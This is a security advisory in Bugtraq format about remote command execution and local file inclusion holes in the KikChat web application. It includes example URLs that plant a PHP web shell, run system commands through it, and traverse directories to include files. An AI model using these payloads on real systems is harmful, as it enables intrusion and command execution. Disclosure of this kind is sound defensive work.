KikChat Remote Command Execution and Local File Include Vulnerabilities

Bugtraq ID:	64324
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 12 2013 12:00AM
Updated:	Dec 12 2013 12:00AM
Credit:	Ramdan Yantu
Vulnerable:	KikChat KikChat 0
Not Vulnerable:

KikChat Remote Command Execution and Local File Include Vulnerabilities

KikChat is prone to multiple remote command-execution and local file-include vulnerabilities.

An attacker can exploit these issues to execute arbitrary commands and arbitrary local scripts within the context of the vulnerable application.

KikChat Remote Command Execution and Local File Include Vulnerabilities

Attackers can use a browser to exploit these issues.

The following example URLs are available:

http://www.example.com/KikChat/rooms/get.php?name=shell.php&ROOM=<?php system($cmd); ?>
http://www.example.com/KikChat/myroom/shell.php?cmd=whoami;id;uname -a;pwd;ls -al
http://www.example.com/KikChat/private.php?name=../../../../../../../../../../[file]

KikChat Remote Command Execution and Local File Include Vulnerabilities

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

KikChat Remote Command Execution and Local File Include Vulnerabilities

References:

• Kik Messenger Homepage (Kik Interactive)